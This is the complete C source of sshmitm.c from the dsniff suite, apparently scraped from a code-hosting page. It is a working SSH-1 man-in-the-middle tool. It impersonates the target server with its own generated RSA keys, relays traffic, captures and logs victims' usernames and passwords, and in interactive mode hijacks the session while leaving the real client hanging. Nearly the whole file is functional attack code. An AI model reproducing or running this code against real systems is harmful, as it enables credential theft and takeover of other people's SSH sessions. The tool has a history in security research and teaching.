📄 sshmitm.c
字号:
/* sshmitm.c SSH monkey-in-the-middle. Copyright (c) 2000 Dug Song <dugsong@monkey.org> $Id: sshmitm.c,v 1.6 2000/12/17 21:09:43 dugsong Exp $*/#include "config.h"#include <sys/param.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/wait.h>#include <arpa/nameser.h>#include <openssl/ssl.h>#include <libnet.h>#include <err.h>#include <errno.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include "buf.h"#include "record.h"#include "sshcrypto.h"#include "ssh.h"#include "version.h"int Opt_debug = 0;int Opt_interact = 0;u_short Opt_dns = 0;int Opt_read = 0;int Opt_write = 0;int mitm_fd;int client_fd, server_fd;SSH_CTX *ssh_client_ctx, *ssh_server_ctx;SSH *ssh_client, *ssh_server;struct sockaddr_in csin, ssin;int sig_pipe[2];voidusage(void){ fprintf(stderr, "Version: " VERSION "\n" "Usage: sshmitm [-d] [-I] [-p port] host [port]\n"); exit(1);}static voidssh_strlcat(char *dst, int size, char *src, int len){ char *p; u_int32_t i; for (p = dst; *p != '\0'; p++) ; size -= (p - dst - 1); GETLONG(i, src); i = MIN(i, len); i = MIN(i, size); memcpy(p, src, i); p[i] = '\0';}static voidsig_chld(int signal){ if (write(sig_pipe[1], "x", 1) == -1) warn("sig_chld"); }static voidsig_int(int signal){ close(mitm_fd); record_close(); exit(0);}static voidreap_child(void){ pid_t pid, status; while ((pid = waitpid(-1, &status, WNOHANG)) > 0) { if (Opt_debug) warnx("child %d terminated with status %d", pid, status); }}voidmitm_init(u_short lport, u_long ip, u_short rport){ int i = 1; if (pipe(sig_pipe) == -1) err(1, "pipe"); if ((mitm_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) err(1, "socket"); if (setsockopt(mitm_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1) err(1, "setsockopt"); memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = INADDR_ANY; ssin.sin_port = htons(lport); if (bind(mitm_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1) err(1, "bind"); if (listen(mitm_fd, 3) == -1) err(1, "listen"); ssin.sin_addr.s_addr = ip; ssin.sin_port = htons(rport); SSH_init(); ssh_client_ctx = SSH_CTX_new(); ssh_client_ctx->hostkey = RSA_generate_key(1024, 35, NULL, NULL); ssh_client_ctx->servkey = RSA_generate_key(768, 35, NULL, NULL); if (ssh_client_ctx->hostkey == NULL || ssh_client_ctx->servkey == NULL) { errx(1, "RSA key generation failed"); }}voidmitm_child(void){ u_char buf[SSH_MAX_PKTLEN]; char userpass[1024]; fd_set fds; int i, pass_done, hijack_done; if (Opt_debug) warnx("new connection from %s.%d", inet_ntoa(csin.sin_addr), ntohs(csin.sin_port)); if (fcntl(client_fd, F_SETFL, 0) == -1) err(1, "fcntl"); /* Connect to real server. */ if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) err(1, "socket"); if (connect(server_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1) err(1, "connect"); /* Relay version strings. */ if ((i = read(server_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n') errx(1, "bad version string from server"); if (write(client_fd, buf, i) != i) err(1, "write"); if ((i = read(client_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n') errx(1, "bad version string from client"); if (write(server_fd, buf, i) != i) err(1, "write"); /* Perform server key exchange. */ if ((ssh_server_ctx = SSH_CTX_new()) == NULL || (ssh_server = SSH_new(ssh_server_ctx)) == NULL) err(1, "malloc"); SSH_set_fd(ssh_server, server_fd); if (SSH_connect(ssh_server) == -1) errx(1, "server key exchange failed"); /* Perform client key exchange. */ if ((ssh_client = SSH_new(ssh_client_ctx)) == NULL) err(1, "malloc"); SSH_set_fd(ssh_client, client_fd); if (SSH_accept(ssh_client) == -1) errx(1, "client key exchange failed"); /* Relay username. */ if ((i = SSH_recv(ssh_client, buf, sizeof(buf))) <= 0 || buf[0] != SSH_CMSG_USER) errx(1, "couldn't get username"); userpass[0] = '\0'; ssh_strlcat(userpass, sizeof(userpass), buf + 1, i - 1); strlcat(userpass, "\n", sizeof(userpass)); if (SSH_send(ssh_server, buf, i) != i) errx(1, "couldn't relay username"); pass_done = hijack_done = 0; /* Relay packets. */ for (;;) { FD_ZERO(&fds); FD_SET(server_fd, &fds); i = server_fd; if (Opt_interact) { FD_SET(STDIN_FILENO, &fds); } if (!hijack_done) { FD_SET(client_fd, &fds); i = MAX(client_fd, i); } if (select(i + 1, &fds, 0, 0, 0) == -1) { if (errno != EINTR) break; } if (FD_ISSET(client_fd, &fds)) { i = sizeof(buf); if ((i = SSH_recv(ssh_client, buf, i)) <= 0) break; if (!pass_done) { if (buf[0] == SSH_CMSG_AUTH_PASSWORD) { ssh_strlcat(userpass, sizeof(userpass), buf + 1, i - 1); strlcat(userpass, "\n", sizeof(userpass)); } else { pass_done = 1; record(csin.sin_addr.s_addr, ssin.sin_addr.s_addr, IPPROTO_TCP, ntohs(csin.sin_port), ntohs(ssin.sin_port), "ssh", userpass, strlen(userpass)); } } if (SSH_send(ssh_server, buf, i) != i) break; } else if (FD_ISSET(server_fd, &fds)) { i = sizeof(buf); if ((i = SSH_recv(ssh_server, buf, i)) <= 0) break; if (Opt_interact) { if (buf[0] == SSH_SMSG_STDOUT_DATA && write(STDOUT_FILENO, buf + 5, i - 5) <= 0) { break; } else if (buf[0] == SSH_SMSG_STDERR_DATA && write(STDOUT_FILENO, buf + 5, i - 5) <= 0) { break; } else if (buf[0] == SSH_SMSG_EXITSTATUS || buf[0] == SSH_MSG_DISCONNECT) { warnx("connection closed"); break; } } if (!hijack_done) { if (SSH_send(ssh_client, buf, i) != i) break; } } else if (FD_ISSET(STDIN_FILENO, &fds)) { i = sizeof(buf) - 1; if ((i = read(STDIN_FILENO, buf + 5, i - 5)) <= 0) break; *(u_int32_t *)(buf + 1) = htonl(i); buf[0] = SSH_CMSG_STDIN_DATA; i += 5; if (SSH_send(ssh_server, buf, i) != i) break; /* Let the real client hang on connection hijack. */ if (!hijack_done) { fprintf(stderr, "[connection hijacked]\n"); hijack_done = 1; } } else err(1, "select"); } SSH_close(ssh_server); SSH_close(ssh_client);}voidmitm_run(void){ u_char buf[8192]; fd_set fds; int i; signal(SIGCHLD, sig_chld); signal(SIGINT, sig_int); if (fcntl(sig_pipe[0], F_SETFL, O_NONBLOCK) == -1 || fcntl(sig_pipe[1], F_SETFL, O_NONBLOCK) == -1) err(1, "fcntl"); if (fcntl(mitm_fd, F_SETFL, O_NONBLOCK) == -1) err(1, "fcntl"); for (;;) { FD_ZERO(&fds); FD_SET(mitm_fd, &fds); FD_SET(sig_pipe[0], &fds); i = MAX(mitm_fd, sig_pipe[0]); if (select(i + 1, &fds, 0, 0, 0) == -1) { if (errno != EINTR) err(1, "select"); } i = sizeof(csin); if (FD_ISSET(sig_pipe[0], &fds)) { while (read(sig_pipe[0], buf, 1) == 1) ; /* empty non-blocking pipe */ reap_child(); } if (FD_ISSET(mitm_fd, &fds)) { client_fd = accept(mitm_fd, (struct sockaddr *)&csin, &i); if (client_fd >= 0) { if (fork() == 0) { close(mitm_fd); mitm_child(); exit(0); } close(client_fd); } else if (errno != EINTR && errno != EWOULDBLOCK) { err(1, "accept"); } } }}intmain(int argc, char *argv[]){ int c; u_long ip; u_short lport, rport; lport = rport = 22; while ((c = getopt(argc, argv, "dIp:h?V")) != -1) { switch (c) { case 'd': Opt_debug = 1; break; case 'I': Opt_interact = 1; break; case 'p': if ((lport = atoi(optarg)) == 0) usage(); break; default: usage(); break; } } argc -= optind; argv += optind; if (argc < 1) usage(); if ((ip = libnet_name_resolve(argv[0], 1)) == -1) usage(); if (argc == 2 && (rport = atoi(argv[1])) == 0) usage(); record_init(NULL); mitm_init(lport, ip, rport); warnx("relaying to %s", argv[0]); mitm_run(); exit(0);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -